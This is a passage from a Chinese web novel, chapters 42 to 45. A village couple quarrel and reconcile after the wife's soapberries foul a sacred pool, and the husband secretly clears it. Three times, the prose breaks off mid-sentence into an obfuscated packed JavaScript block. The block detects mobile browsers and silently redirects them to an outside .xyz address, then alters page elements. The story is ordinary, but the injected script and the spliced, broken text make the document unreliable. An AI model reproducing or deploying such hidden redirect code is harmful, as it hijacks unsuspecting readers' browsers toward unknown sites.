等到所有人都走了,刀莲生跟海棠两个立刻吵了起来。 “你那果子哪里来的?” “我下来时,看到石头缝里卡了几个,就捡起来用了。” “我昨天不是说了这树碰不得?” “我没碰啊,我不过就是捡了石头缝里的几个拿来洗衣服而已。” “那石头缝里的也是你昨天打……”刀莲生不敢出声,生怕这话叫还没走远的人听见,也怕冒犯了树神。 他狠狠闭了闭眼,再张开眼时,低吼道:“你看看你,闯这么大个祸事出来!” “哪有祸事?人对于自己不知道的事情往往会害怕,会首先就往坏处去想,这是人之常情。”海棠不以为然道,“今天发生的这个事情恰恰说明你们山里人是多么的愚昧无知。你自己是已经亲眼见证过了的,那些果子树丫明明都是我打下来的,他们却乱扯淡,说是树神生病了要死了,要发怒降灾了。” 刀莲生现在是心浮气躁。海棠弄出来的这个事儿影响这么大,他现在心里对寨邻们歉疚得很,根本不想听海棠讲的那一番大道理。 这些日子的相处,他开始知道她懂得很多,或许山外的人真是见多识广吧,所以她说得也许是对的,但是他现在没心情听她讲。 他无力道:“回去了。” 走到一旁,拿起扁担把水桶挑在肩上。 海棠却道:“走什么呀?我就是要故意磨蹭的。这会儿人都走光了,夫君,我们赶紧去把潭里那些果子枝丫都打捞起来。” 刀莲生恼怒:“你还想乱来!” “怎么是乱来?大家现在都很慌张,还要大搞法事,慌什么嘛?其实是很简单的事情,我们把水面上的皂角捞起来,把水潭清理干净,把那些果子挖个坑埋了,神不知不觉,消除了大家的恐慌,这事儿不就解决了吗?就不必浪费大家的财力物力了啊。” 刀莲生愣了愣,又想了想,还是担忧,便说:“不行,算了,我们还是不再碰它了。就听头人和寨佬们的安排吧。” 海棠气到了,骂道:“你真是愚蠢!到那时候,劳民伤财……” 刀莲生一听海棠骂自己蠢,明明这件事情是她惹出来的,便又火气上来,“你以为就这么简单?” “难道不就是这么简单吗?” “万一真惹出祸事出来怎么办?” “大不了真的破财消灾,大搞一场法事祭神啊。” 刀莲生一时不知说什么好,他觉得不该这么简单。头人和寨佬们都给惊动了,全寨子的人都如临大敌,肯定不会这么简单就能把事情解决了的。反而,如果去打捞那些果实,可能会弄巧成拙。 他于是道:“我不跟你说了。回去了。” 刀莲生把海棠那背篓衣服背在自己背上,又把水桶挑在肩头上,拔腿便往山下走。 那水潭子面积大,皂角又飘得到处都是,她倒是会游泳,可是一个人在山上,又是个女人,她就不敢下水了,必须要刀莲生帮她才行。 海棠心里的确是内疚得很,她不愿因为自己一回任性就叫全寨子人劳民伤财,特别是刀莲生家里,穷成那样了,还要为了祭祀贡献大白米出去。她吃腻了那刮嗓子的糙粮饼,刀家要拿大白米出去祭祀荒诞的各路神仙,叫她肉疼不已。说什么,她都要把那水潭子清理干净,好尽早消除寨民们的恐慌,或许能够打住他们后头一系列的动作。 见刀莲生死犟不听劝,还慌着回家,喊也喊不住,海棠气得乱骂起来:“你愚昧无知,你不知好歹,又穷又死倔,我真是瞎了眼,当初就是嫁猪嫁狗也不该嫁给你……” 刀莲生听得额头青筋凸起,他担着一挑水,微微扭过身来,“我也不想娶你的,是你不愿退婚,硬要跟着我回来。你想走随时可以走,没人拦你!” 那话说罢,两个人都愣住了。 43. 第 43 章 此后,一路无话。 回到家,两个人各自做各自的事情,一句话都没讲过。 海棠先去把衣裳晾到竹竿上,然后就去灶屋烧了一锅热水打算洗个澡。 今天出了大太阳,她又下田干了活儿,衣裳都被汗水濡湿了,裤子也弄脏了,浑身还有一股子鱼腥味儿,不洗难受得慌,肯定睡不好觉的。 刀莲生则先装了一背篓苎麻叶去喂牛,完了后又来灶屋提了半桶水出去,之后就一头扎进堂屋没出来过。 因为寨神林吵的那一架,海棠不好使唤刀莲生,自己一趟趟把热水用脚盆端到圈棚里,如此装满了一桶洗澡水。这才去卧房拿自己的换洗衣服。 进了堂屋,她看刀莲生坐在火塘边划篾片,不知道又要编个啥竹艺出来。她跨进门槛到钻进卧房,再拿了衣服出来,刀莲生都没抬头看过她一眼,专注着手里的活计。 骡子还给人家了,牲畜棚里比较安静。 那条老牛好像都已经对她熟悉了。刀莲生回来时又提了一背篓苎麻叶喂它,它吃饱了后这会儿卧在地上反刍。见到海棠端着油灯进来,铜铃大眼淡淡地瞄了她一眼后便把脑袋扭开了,牛嘴巴慢条斯理地交错着磋磨咀嚼。 今晚这个澡洗得很慢,她老是走神想着寨神林吵架时刀莲生最后说的那句话。 如果这次因为打了皂角那事儿,寨子里要大搞祭祀活动祈求树神不要降下灾厄,以至于刀家不得不敬献粮食出去而断粮断炊,刀莲生为了节约口粮赶她走的话,她走还是不走呢? 哼,只要他不叫她归还骡子,走就走。回去娘家,她还能吃上好的! 主意打定,海棠拿葫芦瓢舀了热水快速把身子清洗了一遍,便抹干净水渍穿上衣服。 没有香皂沐浴露,这种地方就只能靠勤洗澡来保证身上的清洁卫生,还得把水烧热点,不然身上出的油汗根本洗不干净。 哎,那一潭子皂角呀,真可惜,她一想到就觉得心痛。 跟那一背篓被婆婆勒令莲叶倒进茅坑的竹笋一样叫她心痛。 山里人太愚昧,一面穷得叮当响,一面却又愚昧无知地在暴殄天物! 人又固执已见,轻易不肯相信外来人的话。 洗完澡出来,海棠把脏衣服丢在背篓里,用帕子把湿头发包住,又去灶屋掺了一锅水烧上。 往回刀莲生要是下田干了活儿回来,她一般都要给他烧洗澡水的。 似乎这都养成了习惯。 等水烧好了,海棠才想起,我干嘛要给他烧洗澡水?我俩才吵了架正在冷战不是? 可水都已经烧好了,海棠就犹豫要不要去喊到刀莲生来洗澡? 想了下,觉得不能浪费了柴禾和热水吧。 便去堂屋找人,可他竟不在堂屋。 火塘里的火也没生起来。 之前晾衣服的时候明明看见他去了堂屋啊。 那该是她洗澡的时候他出门去了。 海棠又出来找。 院子里和牲畜棚里都看了下,没人。 刀家就这么大地方,没在家,必然是出门去了。 这天都黑了,他去哪儿了? 海棠站在灶屋门口,一时有些不知所措起来。 今晚刀家人都不在家,她一面觉得愧疚,自己弄出的那个事情搞得人心惶惶的。一面觉得这里的所有人都太愚昧,太大惊小怪了,还固执,尤其是刀莲生! 好,说曹操,曹操就到。 就见刀莲生挑着一挑水自茅厕外墙后面转出来。 原来他是去寨神林挑水去了。 现如今吃用水麻烦,他定然是想趁婆婆不在家,不会在耳旁念叨那寨神林的水不能用之前,尽量往家多挑些水备用。 两人在灶屋门口打了个照面,对视一眼,各自都把头转开了。 海棠解开了包头布,用布假装擦着湿头发站在灶屋门口往内偷瞄。 灶台上一直点着油灯,她没吹熄。 刀莲生把水倒进水缸,空桶搁下。 回头看那个大铁锅上盖着锅盖,锅盖尖儿上冒着屡屡白雾。他抿了下嘴,拿了水瓢和空桶,揭开锅盖,把热水一瓢瓢舀到水桶里。 海棠瞅到,很好,免了她的尴尬,她就擦着头发趿拉着木屐去了堂屋,把火塘里的明火生起来,然后便坐在火塘边专心地烘着她的长发。 等到刀莲生把澡洗好没多久,白氏和着两个女儿终于回来了。 母女三人提着一篮子麻筋去了曹氏家里绩。 那堂伯家堂屋大,两家男人女人围坐一堆都没问题。 今儿那寨神林发生的异象可能是全体碧约寨人今晚唯一的话题了。 白氏带着女儿去曹氏家,目的便就是打听寨子里的头面人物关于今日这事儿的处理方案。 白氏回来就给刀莲生讲,寨子里几个主事的还没商议出个结果来,问题的焦点在于,现在青黄不接,各家各户的粮食都很紧缺。所以,要出多少米面,出多少人力物力,大家争论不休,都觉得吃不消。可是如果东西敬献少了,又担心树神和各路神明不能息怒,恼火得很。 祭祀最基本的是要用到三牲,顾名思义,三样牲口。其中,又分大三牲和小三牲。大三牲是猪、牛、羊这三样,小三牲是猪、鱼、鸡。 树神发怒恐降灾厄这种事情,肯定要用大三牲。用小三牲小气了,看不出诚意。 那就得杀猪、宰牛、宰羊。 可现在是五月,农忙季节,牛是很重要的劳动力,哪家愿意舍得宰牛? 尽管寨子里肯定会给敬献牛的这家人一些补偿,但是,一来,补偿必定是会打一些折的。二来,正是要牛下力的时候,即使你给我补偿精细白米灰面,可我得靠人工下力了,又辛苦又耽搁农事。问了几家有牛的人家,都支支吾吾不愿应承。 杀猪杀羊也不愿意啊,因为这时候的猪和羊都是崽子,开春抱的猪娃儿和羊崽子,那才长多大一点啊?出栏还早着呢。 再一个,祭祀几天为好? 寨子里最重要的祭龙节,前后都要持续六天。这祈求树神息怒的祭祀活动,不搞六天么? 可是寨子里大部分人家都已经在插秧子了,这时候叫人搁下农活儿连搞六天祭祀,那怎么成?三天都觉得多了! 于是,祭祀的事情明天还要继续再商议商议。商议不出,就抓阄决定。总之,明天一定要拿个方案出来。 白氏把听来的事情讲给儿子听了后,然后开始分派明天一家人的活儿。 她和莲荷明天一早就先去山下背水,莲叶照例是负责把一家子的两顿饭做好,把牛要吃的草饲料割回来。如果洗衣服的话,就背到山下河边去洗。 “这段时间,寨神林的水都不能吃用了。最少也要等到头人和寨佬们把祭祀搞了再看情况。”白氏叹着气说,“吃用的水倒是可以去山下的河里汲水,平时用水节约些,还不觉得困难。现在大家最担心的是,过几个月稻子长起来了,天气也变大了,稻田里用水该怎么办?也靠人工背水灌溉吗?背那一点水,牛九一毛,完全顶不了用啊。你堂伯说,目前也管不到那么远,只能走一步看一步了。” 海棠沉默地听着,头都不敢抬。 白氏又说,刀莲生小两口儿这几日的活儿就是耙田。别的不用管,先把田耙出来再说。 两人嗯嗯的应着,没多的话可说。 白氏心情很不好。 家里可能要大出血,敬献白米,一斤两斤,还没定数。 那白米自个儿都舍不得吃,要贡献给树神山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14362450|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神,心在滴血。 晚上她也没心情再绩麻了,事情讲完,她便叫一家子都早点休息睡觉。 “明天都要熬活儿了,早点睡了吧。”她说。上楼去了。 两个妹子都默不作声地跟着母亲上了楼。 海棠也起身进了卧房。 只刀莲生没动,他手里还在编东西。 海棠看他似乎在编个新背篓。目前还只是个背篓底编了出来。 家里够多背篓了他还编! 篾片不够,只够编个背篓底,估计他明天得找时间去砍几根新竹子回来才成。 脱衣服上了床后,海棠面朝房门口侧身躺着,眼睛看着门口垂在半空的那半截蓝色布帘子。 她看着那块蓝色布帘子下面火光摇曳,直到她昏昏欲睡,那火光才灭了。迷迷糊糊中她隐约好像听到男人在走动,还有拉门闩的声音。 一夜无梦。 转天一大早,海棠正在酣睡,感觉有人扯她的被子。她凭着本能把被子往回扯,翻了个身勉强睁开眼,看见刀莲生穿戴齐整地立在自己床边。 他下巴上冒出青影,人有些疲态。许是昨夜没睡好。 他日常睡的那张竹凉床靠墙立在对面窗洞下。 怪事。他怎么忽然想起来要把他那张竹凉床收起来了?还拿进了她的卧房。家里堂屋要用起来了吗?还是要招待客人? 刀莲生见她睁眼,说:“起来了吧。” 海棠不愿动,重又闭上眼,随口问道,“天亮了?” “嗯。”刀莲生揉了把脸,“早点起来,吃了饭还要耙田去。趁着这几日天晴,把剩下几块赶紧耙完了好把秧子栽下去。” 昨天的效率很高,他希望后头两天能延续昨日的高效率。 白桂景为了多留点时间来绩麻,只留了莲叶在家给儿子媳妇做早饭,自己则和大女儿起床后就背着木桶到山下河里汲水去了。 一个女人只能背一桶水,那木桶又硬又笨重,再装上水,更加吃不消。两个女人来回背一趟,还没刀莲生挑一挑水多。山高路又长,水从山底下河流背上来,路上还要洒去三分之一。要背满厨房那一大缸子水,两个人起码得要来回七八趟才成。这一天的功夫,一大半的时间都得花在汲水这件事情上了! 寨子里有畜生的人家倒是不慌,骡子驴子牛,拉个一趟两趟,水就弄回来了。自家没畜生役使,只得靠人力一趟趟背回来。 家里的活儿一下子吃紧了,白氏的老脸自打昨日那件事情传播开来就皱着,满脸的皱褶更深了,一直没舒展开过。 早上出门背水前,刀莲荷看海棠起来,凶巴巴警告她,“以后洗澡你自己去汲水,不准用缸子里的水。”嘴一撇,又怒气冲冲道:“三天两头就要洗一回澡,这是脏成什么样了呀,洗这么勤!” 哥嫂子还没出门哩,莲叶就背着海棠换下来的脏衣服下山去河边洗了。 屋里头,两口子吃罢早饭,刀莲生去圈棚里把犁耙扛出来,见海棠甩手往外走,方向却不是去刀家梯田的方向,刀莲生忙喊住她:“哎,你去哪儿?” 海棠回身道:“我去寨子里逛一逛。今儿我不去耙田了,你一个人去。把石槽背去。” 海棠想去看看自己做的那事儿对这个寨子到底造成了什么样的恐慌。 依着昨晚婆婆带回来的讯息,她这才感觉到了事情的严重性,是她不能承受的后果,心头挺压抑的。 刀莲生显得很吃惊,他盯着她的脸色打量良久,慢慢的,他垂眼盯着地面,好像是随口一问:“你还回不回?” 海棠已经走出去几步,闻声回头:“回哪儿?” “……这里。” “回啊。怎么了?”海棠很奇怪。 刀莲生“哦”了声。 44. 第 44 章 海棠以为刀莲生就是随口问一句,然后他就会忙着下田干活儿去了。 他却站在那儿没动,也不说话。 但耙田的事情并不是非她不可。昨天他还让她就在田坎上闲待着呢,所以她去不去田里无所谓。 海棠便没再理会他,径直往左手灶屋外面走。那是去往寨子里的路。 就在她快要转过土墙的时候,听到那男人在身后又大声问她道:“你什么时候回?” 海棠回头。 他漆黑的眼静静地注视着她。 海棠想了想,寨子这么大,她又不是要挨家挨户走访,沿着主街道走走看看也能了解个大概了,便说:“我估计晌午的时候就回来了吧。” 男人立即又问:“前晌还是后晌?” 前晌是上午,早上八点到十二点都可称之为前晌。 后晌则是下午,正午到日落之间。 他问得这么清楚要干什么? 海棠不说话了,站那儿看着他,不知其意。 她这么一沉默,那男人立马失了镇定,他脸色不自在地把视线调开去看别处,嘴里说:“你要是前晌回来的话,就暂时别回家,去田地跟我一起回。你要是后晌回,就可以直接回家。” 他撇过脸来又看着她,瓮声瓮气地加一句:“娘和妹妹们上午去背水,你要是直接回家的话很可能会撞见娘她们。娘就知道大上午的你没去田里干活儿了,她很可能会斥责你。” 他身后,是刀家那栋破朽的两层土楼,黄的土墙灰的棚顶。他站在泥地上,说得一本正经,十分严肃。 海棠“哦”了声,算是回应,冲刀莲生挥挥手,转身往寨子深处去。 因为是早上,鳞次栉比的蘑菇屋,四下炊烟袅袅,鸡犬相闻,一派安乐祥和的景象。 这寨子年岁悠长,潺潺的溪流穿寨而过,草棚土楼,古朴老旧。 偶尔碰到男人女人黑衣黑裤,粗布包头,面色忧愁,形色匆匆。几岁稚子,男童女孩儿,天真快乐。 时光混沌而缓慢。海棠觉得自己就像个闯入这古老寨子的外地游客,好奇地在这家门楼前停一停,那家院坝前站一站。 寨子里很安静,估计劳动力都下地干活儿去了。偶尔看见几个白发苍苍的老妪和大爷,坐在门槛上或者蹲在门口,老婆婆膝盖上搁着一撮麻筋,手指不时放进嘴里濡湿,在绩麻接线,老爷子则抱着个发黄的竹筒咕嘟咕嘟抽水烟。 海棠沿着主街道,看看停停,一直走到了寨子口。 立在那道粗制滥造的木头寨门前,她抬头看那颗发白的牛头骨,想起半个月前,刀莲生领着她就是从这里进入碧约寨的。 寨子下面就是一望无垠的梯田,弯腰的人们是在插秧,甩着皮鞭驱赶着水牛的汉子,是在耙田。 往山沟下去的道路石头铺就,很宽敞,可供两匹马并行,如今,这条路上是一串串背水的女人。她们用着同一种姿势,把装满了水的木桶背在后背,宽布带套在肩膀上,行路缓慢,压弯了腰身,额头滴着汗。偶尔碰到几个用牛用骡子用驴拉水的寨民,就要轻松多了。 碰见熟人,他们互相抱怨着,哀愁着,担忧着。 猩红暮色下,忽然有人奔走相告,说寨神林那水潭里啥也没有了,干干净净的,就像是什么都没有发生过。 人群骚动起来。 “这是什么时候发生的事情?” “不知道。是满仓家的吃过晌午饭后去山里砍柴,经过寨神林无意中发现的。” “神树呢?神树怎么样?” “还是好好的!” “快去告诉头人和寨佬!” “怪事了!” “怪事?这是好事啊。不用祭神了,也不会耽搁农事了。” “那还得头人和寨佬他们说了算。” “他们家里不忙着栽秧?肯定先紧着农事要紧!” …… 直到黄昏海棠才回到刀家。 甩着手从灶屋外墙转出来,先看见一架木齿犁耙停放在院子的阳沟边。那犁耙干干爽爽,不像是才洗过的,都晒干了。再看见着黑衣黑裤、头上戴着黑色包头布的身材高大的男人蹲在灶房门口,就着茶水吃饼子。 已是黄昏,远山的斜阳,猩红的余晖打在他赤裸的膀子上,男人吃得狼吞虎咽又怡然自得。 海棠站在远处看了会儿。 他忽然抬眼与海棠四目相对,慢慢站起身来。 海棠上前,“你也才回来啊?” “嗯。”刀莲生点头。 海棠瞟一眼他手里的饼子,又是那种干巴巴的各种豆子掺杂麸皮糠壳做的粗粮豆饼——喂骡子的。 估计是之前做了准备喂招满叔婶家的骡子,因为提前把骡子还了,多做的豆饼又只能人来解决。 但她不理解。 除开豆饼,这几日家里也都吃得不好。稀汤糙饼,一如既往。刀莲生每天那么下力,这也是农忙啊,他落在田地的汗珠子只怕都把水田里的水都搅咸苦了。家里该给他加餐不说,白米饭也应该供应上。 唯一的解释,是刀家家里确实没法在这段时间给他弄点精细粮食补充体力。 海棠朝他手里的吃食一点下巴,“午饭?” 刀家这段日子都是只吃两顿饭的。他这会儿在吃东西,肯定是午饭,而不可能是晚饭。 他又“嗯”一声,不自觉的,放慢咀嚼速度,“锅里给你热着吃的东西,你也赶紧去吃吧。” 海棠站着不动,“中午莲叶没去田里给你送饭吗?” 他别开眼,嘴里嚼着饼子含糊地说:“我忙其他去了,她在田里没找到我。” 男人有着与他体格不符的腼腆,总是话不多。她问一句,他才答一句,并不主动交代。 海棠也解释了一下自己晚归的原因:“噢,我问路问到李婶子家的磨坊去看了下。昨天莲叶不是说磨坊今天会有很多人去舂米磨面吗?我去瞧瞧热闹,所以才回来晚了。” 刀莲生嚼着饼子,又抬头,大双眼皮盯着她,“我先前看到你在寨门那里站着。” “嗯,我看他们去哪里汲水。说不定过几日,我也要去背水了,所以我先去探探路。” 说罢,海棠想了想,说:“你是不是今天根本就没下田啊?你一路跟着我?” 冷不丁她冒出这样一句话,刀莲生差点被饼子梗住,猛灌了一大口茶水才把饼渣吞下肚去。他垂着眼,嘴里的话和咬在嘴里的饼一样干巴巴:“没有。我就是……从田里回来的时候,绕道想去水生家里打听下头人和寨佬们商议的结果,正好看见了你。” 海棠却强调:“原来你盯着我的一举一动呢,你就怕我偷跑了,你们家人财两空,既失去了人,骡子也没要回来。是这样的吧?” 刀莲生紧绷起了俊脸,望着她一副张口结舌的模样。 他还满眼都是气恼,漆黑的星目中闪着两簇火苗,看得海棠不由怀疑自己的猜测是不是错了?而刚才她说的话又是不是说得太过了? 她再问道:“你真没跟踪我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14374986|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?真没担心我又偷跑回娘家吗?” 刀莲生既不摇头也不点头。 他的坚决不肯承认让两人都陷入了奇怪的沉默。 海棠把长辫子往肩背后一甩,折身向堂屋走去。 刀莲生收回视线,深吸一口气,把手里剩下的饼子全部塞进嘴里,再灌几口浓茶,嘴巴一抹,起身钻进灶屋,挑着空桶去了后山挑水。 天黑透的时候,白氏和着女儿们回来了。 上午白氏带着大女儿背水,吃过晌午饭后就去曹氏家里绩麻。 这两日,两家人都在一块儿绩麻,一边做事,一边摆龙门阵。 今晚白桂景带回来可喜的消息,因那寨神林又有异变,但大家都觉得是向好的在发展,所以暂时不搞祭祀了,先把田里的秧子赶紧栽完。等农忙过了后,再看情况。 “或者就等祭龙节的时候,隆重地祭祀下树神。目前,议定下来是这么处理的。” 然后白氏问儿子,“莲生,你看那水潭的水真跟之前一样了吗?” 儿子挑水回来,白氏看见了。 山下河里去背水实在是太苦了,她和女儿背了一上午,也没把那口大缸背满,可腰都已经累得直不起来了,下午便没再去背,只能叫大家节约用水。晚上一脚盆水都要洗一家人的脚,因为白天都是打赤脚走路,几双脚用一盆水,最后洗出来一盆浑浊的泥汤。 刀莲生“嗯”了声,没多余的话。 白氏又有点担忧,“要不我们多等等?你挑回来的那担水先别倒进缸里,就只用来洗脚。人吃的和畜生吃的,都不要用那个水。等等看,等别人吃用了没问题,我们再去寨神林挑水吃用。” 刀莲生道:“娘,那树神一直是保佑咱们的,就算是落了些果子,那也是正常的。你见过不会落果的树吗?” “可是,那也落得太多了。” “可能那天晚上山上刮大风。像那龙卷风,就只在一处刮,能把树都拔起来。” “有这么巧?咱山里从没见过龙卷风啊。” “从前没见过不等于说它没有。不然,那百年一遇,五十年一遇,这说法怎么来的?” “这倒也是啊。可能,那天晚上,山上刮了一场百年一遇的龙卷风也说不定呢。” 海棠看看刀莲生。 这男人今晚说话真顺溜,像是预先打了草稿似的,恩腾都没打个,谎话张口即来。 夜里,窗外满月如盘,海棠有点睡不着。 到月亮升上中天的时候,她听见外面异响,脚步声,门闩声,悉索声,很快归于沉寂。 但是,外头院坝里有哳哑的好似琴声的声音,自她那个卧房对面那堵泥墙上的那个脸盆大小的窗洞飘进来。 海棠翻身起来,穿上木屐,垫脚从那个窗洞往外看,刀莲生就坐在堂屋下到地坝的那个石阶上,抱着他那把怪模怪样的牛腿琴,幽幽地拉着。 不止琴声,她还听见了歌声。 这天深夜,刀莲生那把低沉的嗓子,把她昨天白天唱的那首歌儿翻来覆去的唱,歌声在她的窗洞外回荡了一遍又一遍。 一座座山来,一道道沟。 我找不见妹妹我不想走。 远远的看见你,不敢吼。 我扬了一把黄土,风刮走。 …… 山挡不住云彩,树挡不住风。 连神仙也挡不住人想人。 长不过五月,短不过那冬。 说是难活呀,不过人想人。 …… 45. 第 45 章 你说他憨厚老实吧,可他还晓得把歌词改了。多的是小心机。 海棠撩帘子出去。 堂屋的门就没关,开着半扇,月光落在门槛上。 “都大半夜了,怎么还不睡觉?” 听到后面说话声,刀莲生闷声闷气道:“睡不着。”他的屁股自动往旁边让了半尺。 见状,海棠嗤的笑出来,“你自己睡不着,干嘛还要把别人吵醒?”也不点破他给自己让出座位的行径,分明是早等着她出来。 她跨出门槛,下了石头台阶,挨着他坐下来,抬头看天上。 满天的繁星。 刀莲生把那把牛腿琴横抱着,像抚摸情人一样,专注而温柔地在两根弦上摸来拂去。 海棠侧头看了一会儿,“怎么不继续弹唱了?挺好听的,继续呀。” 男人嘀咕:“弹累了。” 好吧,你这理由是个人都听出来很牵强。 海棠又问他,“怎么睡不着?” 刀莲生不语,像个锯嘴葫芦。 海棠习惯了他的寡言少语,但是她也知道怎么让他多说点话。 “咳,水潭是你清理干净的吧?” 这回刀莲生立刻“嗯”了声,还飞速看她一眼。 如果没看错他神色,海棠觉得他有点表功的意思,含笑又问道:“什么时候去清理的?” “昨晚上。”顿了下,他又添了句,“下半夜。” “你下水捞起来的?你也不喊我去帮你忙,真是的。” “没。” “那你一个人,怎么弄的?” “我做了个竹捞篱,绑在长竹竿上,就站在岸边捞。很方便。” “竹捞篱?”海棠不明白。 刀莲生看她一脸茫然,顿了下,把怀里的牛腿琴放到地上,起身去了牲畜棚。片刻后出来,他手里拿着把扫帚样长短大小的东西走过来。到了近前,海棠看清楚那把“扫帚”不是扫帚,扫帚底端是个椭圆形的像个竹篮子一样的东西,但是比篮子略浅。 “我把竹竿取掉了。绑上竹竿,伸长了去水里捞。”他边说边比划。 海棠看那个浅竹篮,蓦然就想起了昨天晚上他编的那个竹背篓底,她当时以为他要编给背篓,没想到是编竹捞篱。 “你又不怕那树神惩罚你啦?” 刀莲生犹疑了下,才小声回道:“我觉得你可能说得有点道理。” 海棠忍不住笑出声来,“不是我说得有点道理,那本来就不是什么神仙树。我跟你说了我们汉人地方,摘了它的果子洗澡洗衣服洗碗,极为寻常。” 刀莲生没作声。 海棠以为他不会有任何反应的时候,忽然又听到他“嗯”了一声。 趁着他现在愿意敞开心扉,海棠又问:“白天你为什么跟踪我?连田里的活儿也不干,一路跟着我。不抢农时啦?” 他却又不愿回答了。 海棠替他说:“其实你还是真的怕我跑了吧?” 他仍是不语。 海棠明白,他不说话,就是默认了。 她叹口气,“你不是怕我跑,而是怕我跑了,那头骡子你就不好要回来了。” 刀莲生搭在琴弦上的手指没有动作了。 他微微垂着头,脸因此埋在阴影里,看不清楚表情,倒是他的声线,平缓、低沉,没有起伏,“我知道你在这里过不惯,我也不想勉强你。你要是觉得实在过不下去了,啥时节你想走都由你。” 听听,果真是怕她偷跑了。他故意拿话试探她呢。 “不用归还聘礼?”海棠说完自己先笑了下,“那我现在就走了哦?”还故意表现得很急切,说罢就站起身来。 “这不行。”刀莲生忙说。 海棠一脸“我就知道”的表情,嗤笑一声,又在石阶上坐下来。 刀莲生像是给她解释,又说:“即使我愿意,我娘也不愿意,那头骡子……” 海棠摆摆手,烦躁地道:“行了行了,别假惺惺地解释了,反正你要骡子就是了。在你眼里,我反正是没骡子重要的。” “不是,你比骡子重要!”男人惶急地道,面色闪了下,却又欲言又止,“只是……” 海棠心头微讶,慢慢转过头去把他定定地看着。 这是第一次她知道了他对她的看法。 半信半疑,海棠看着刀莲生的眼睛,研究他话里的真伪,“只是什么?” 刀莲生与她对视一眼就别开了,默了默,好像挺委屈,“我没有假惺惺……” 对她刚才的问题避而不回,抿着唇开始收拾东西,有点逃避的意思了。 竹捞篱还是放到圈棚里去,牛腿琴握在大掌里,他在几步之遥的距离等了半天,见她坐着不动,出声道:“进屋睡了吧。” 海棠抬了抬手:“再坐会儿。” 他不愿回答,必然是难堪的事实,家穷,吃不起饭,穿不起衣,无非如此。 骡子好养活,一个人却不好养活。 他肯定想说的是这个意思。 他没催,站在原地等,脸面向别处。 他背后是蜿蜒往下的梯田,没有尽头。 “你别杵那儿,过来坐着,我们说说话。” 刀莲生迟疑了下,走过来,挨着她坐着,两人一起看着天上的星星。 海棠漫不经心地问:“喂,那头骡子值多少钱?” “五两银子。”刀莲生侧着身子,海棠只看到他刚毅的侧脸轮廓,他似乎想了下,添补道:“骡驹只要二两就能买到。但是骡驹不能下地干活,得养到两岁左右才能卖力气。” 海棠“哦”了声,喃喃:“两岁?那就是要养个两年才能役使……” 如果她现在就能拿出二两银子来,就能勉强还了这债。毕竟她没跟他圆房,说什么都过意不去的。 海棠又问:“你们这儿干什么能挣钱?” 他可能没明白她的意思,一脸迷茫。 海棠换种方式问:“如果你想买些山里没有的东西,要用到银子,银子,你一般怎么搞?” 刀莲生想了想,说:“打猎,猎一些野味儿拿到山外头去卖,狐狸、兔子、獐子、鹿子、野猪这些。可以卖皮毛,也可以卖肉。山外头的人喜欢。” “除了打猎,还有呢?” “卖一些竹子编的东西,像凉席、篮子、筲箕、撮箕、桌椅、凳子、椅子。” 海棠噢的叫了一声,“可是我都不会编。还有呢?前提是,女人也会做的。” 刀莲生:“……” 刀莲生想说女人能挣钱的事情只有一样,纺线织布做绣花布包,但是—— 他扭头看看她,露出一言难尽的表情。 心说,哎,还是算了吧。 她作为女人,竟不会纺线织布,真是……他还是第一次遇到一个女人竟然不会做这些,实在叫他大开眼界。 海棠也想到了这一点,觉得自己的想法太过天真。 这穷山恶水的地方,吃穿用主要靠自给自足,自力更生,男人赚钱都不容易,更别说女人了。 她尴尬地哈哈笑两声,说:“刀莲生,看得出来,你目前是连二两银子的积蓄也没有的,不然你早就买头骡驹回来养起来了,便不会心欠欠那头送出去的骡子。那么,你大可放心,在你存够二两银子前,我应该不会离开,所以你不必总是担心我偷跑了。” 刀莲生呆呆地看着她。 “你想说什么?”海棠歪头回视着他。 他把脸扭过去了,看着远处,声音发涩:“你跟着我,我都不能保证你一日三餐……” 海棠不愿听人倒苦水,打断他道:“不要以为我吃不得苦。我爹待我如何,你是亲眼看见的。你家待我比我家人待我好,不然我也不会跟着你回来了。老实说,只要你对我好,真心待我,吃糠咽菜我都高兴。” 忽然瞥见刀莲生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390268|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脸心碎模样,海棠一愕,“你难受什么?” 刀莲生长长地吁叹一声,“有时候我常想,我们两个难辛人,为什么一定要搅缠在一起?其实你这人挺攒劲儿的,如果退婚,定能找到比我家好得多的夫家……” 退婚? 海棠猜他后面继续说下去的话,必然又回到骡子身上。 那头骡子已进了傅家门,是不可能再还给他的。 即使要还,也只能她想办法还,总之是别指望她那个便宜爹会归还给人家的。 “生米做成熟饭容易,熟饭做回生米就别想了。”海棠谑笑地推了刀莲生一把,就此便打断了他后头的话头。 